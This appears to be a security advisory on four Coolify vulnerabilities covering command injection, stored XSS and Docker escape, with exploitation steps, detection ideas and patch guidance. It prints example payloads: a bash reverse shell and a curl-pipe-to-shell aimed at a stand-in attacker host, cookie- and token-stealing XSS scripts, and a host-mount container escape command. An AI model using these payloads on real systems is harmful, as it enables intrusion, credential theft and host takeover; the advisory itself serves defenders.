Product Overview

Product Name: Coolify
Category: Self-hosted Platform-as-a-Service (PaaS)
Architecture: Web application + privileged backend services + Docker host integration
Deployment Model: Self-hosted, Docker-based
Primary Use Case: Application deployment, container orchestration, CI/CD automation

Coolify operates with high system privileges to manage containers, networks, volumes, and deployment pipelines. It directly interacts with the host operating system and Docker daemon. Because of this trust boundary, any input-handling or permission flaw has immediate host-level impact.

---

Vulnerability Summary Table

CVE ID	Vulnerability Type	Severity	CVSS	Attack Path	Resulting Impact
CVE-2025-64424	OS Command Injection	Critical	9.8	Low-priv user → backend execution	Root RCE on host
CVE-2025-59158	Stored Cross-Site Scripting	Critical	9.6	Persistent payload → admin browser	Admin takeover
CVE-2025-59157	Command Injection	Critical	9.4	Member role → task execution	Arbitrary OS commands
CVE-2025-59156	Docker Escape / RCE	Critical	10.0	Container → host filesystem	Full host compromise

---

CVE-2025-64424 – OS Command Injection Leading to Root RCE

Overview

This vulnerability allows a low-privileged authenticated Coolify user to execute arbitrary operating system commands with root privileges. The flaw exists in backend execution logic where user-controlled input is embedded directly into shell commands.

---

Technical Details

Coolify automates infrastructure tasks by invoking shell commands for:

• Container lifecycle operations
• Deployment scripts
• Service configuration
• Repository and hook management

Several of these execution paths construct shell commands dynamically using user-provided values. These values are not strictly validated or escaped, allowing shell interpretation of injected characters.

The commands are executed by privileged services, often running as root, which causes injected commands to inherit full system privileges.

---

Exploitation Method

1. Attacker logs in using a low-privileged account
2. Attacker modifies a controllable configuration field (service name, variable, hook)
3. Shell metacharacters are injected
4. Backend executes the resulting command
5. Arbitrary commands run as root

---

Example Payloads

; whoami

$(bash -c 'bash -i >& /dev/tcp/attacker/4444 0>&1')

&& curl http://attacker/p.sh | sh

---

Impact

• Complete system takeover
• Exposure of secrets and credentials
• Modification or destruction of all deployments
• Long-term persistence through cron jobs or startup scripts

---

MITRE ATT&CK Mapping

• T1059.004 – Unix Shell
• T1068 – Privilege Escalation
• T1078 – Valid Accounts
• T1105 – Ingress Tool Transfer

---

Detection and Monitoring

Log Sources

• Coolify backend logs
• Linux process execution logs
• Docker daemon logs
• auditd / journald

Detection Ideas

• Alert on unexpected child processes spawned by Coolify
• Detect shell metacharacters in backend execution parameters
• Monitor outbound network connections from the Coolify service user

---

Remediation and Official Patch

Immediate upgrade is required.

The official patch:

• Removes unsafe shell interpolation
• Replaces shell execution with parameterized system calls
• Enforces strict input validation

Official Patch Link:
https://github.com/coollabsio/coolify/releases

---

CVE-2025-59158 – Stored XSS Leading to Administrator Takeover

Overview

This vulnerability allows attackers to store malicious JavaScript payloads that execute when an administrator views affected content, resulting in session hijacking or full admin account takeover.

---

Technical Details

Certain user-controlled fields are:

• Stored in the database
• Rendered in administrator-facing UI components
• Not safely HTML-encoded before rendering

This enables persistent JavaScript execution within a trusted administrative browser context.

---

Exploitation Method

1. Attacker submits JavaScript payload into a stored field
2. Payload is saved without sanitization
3. Administrator loads the affected page
4. Script executes with admin privileges

---

Example Payloads

<script>fetch('https://attacker/?c='+document.cookie)</script>

<img src=x onerror="document.location='https://attacker/'+localStorage.getItem('token')">

---

Impact

• Administrator session hijacking
• Unauthorized configuration changes
• Creation of backdoor users or tokens
• Full platform compromise

---

MITRE ATT&CK Mapping

• T1059.007 – JavaScript
• T1185 – Browser Session Hijacking
• T1078 – Valid Accounts

---

Detection and Monitoring

Log Sources

• Web access logs
• Application audit logs
• Admin activity logs

Detection Ideas

• Detect script tags or event handlers in stored content
• Monitor abnormal admin API actions
• Alert on unusual token creation or usage

---

Remediation and Official Patch

The patched release:

• Implements proper output encoding
• Sanitizes stored content
• Adds stricter browser-side protections

Official Patch Link:
https://github.com/coollabsio/coolify/releases

---

CVE-2025-59157 – Member-Level Command Injection

Overview

This vulnerability allows a non-admin member user to execute arbitrary operating system commands through backend task execution logic. Although similar in outcome to CVE-2025-64424, it affects a separate execution pathway.

---

Technical Details

The flaw exists in:

• Build command processing
• Runtime hook execution
• Environment variable expansion logic

User-supplied values are executed as part of system commands without strict validation.

---

Impact

• Unauthorized command execution
• Data exposure
• Host-level compromise depending on execution context

---

MITRE ATT&CK Mapping

• T1059 – Command Execution
• T1068 – Privilege Escalation

---

Detection and Mitigation

Detection

• Monitor backend job execution logs
• Alert on unexpected shell commands
• Detect execution of networking or persistence utilities

Official Patch

The official fix:

• Hardens command execution logic
• Restricts member-level permissions
• Validates and sanitizes inputs

Official Patch Link:
https://github.com/coollabsio/coolify/releases

---

CVE-2025-59156 – Docker Escape Leading to Host RCE

Overview

This vulnerability allows attackers to escape from Docker containers managed by Coolify and gain root-level access to the underlying host operating system.

---

Technical Details

Coolify launches containers with:

• Excessive privileges
• Unsafe host directory mounts
• Docker socket exposure in certain configurations

These conditions allow attackers inside a container to interact directly with the host filesystem or Docker daemon.

---

Exploitation Example

docker run -v /:/host alpine chroot /host /bin/bash

Direct interaction with:

/var/run/docker.sock

---

Impact

• Complete host takeover
• Full control of Docker environment
• Persistent root access beyond container lifecycle

---

MITRE ATT&CK Mapping

• T1611 – Escape to Host
• T1609 – Container Administration
• T1068 – Privilege Escalation

---

Detection and Monitoring

Log Sources

• Docker daemon logs
• Syslog
• Kernel audit logs

Detection Ideas

• Alert on privileged container creation
• Monitor access to Docker socket
• Detect containers mounting host root directories

---

Remediation and Official Patch

The official patch:

• Removes unsafe volume mounts
• Restricts container privileges
• Hardens Docker execution profiles

Official Patch Link:
https://github.com/coollabsio/coolify/releases

---

Final Takeaway

All affected systems should be treated as potentially compromised until patched and reviewed. After upgrading:

• Rotate secrets and credentials
• Audit logs for abuse
• Review Docker and host permissions

---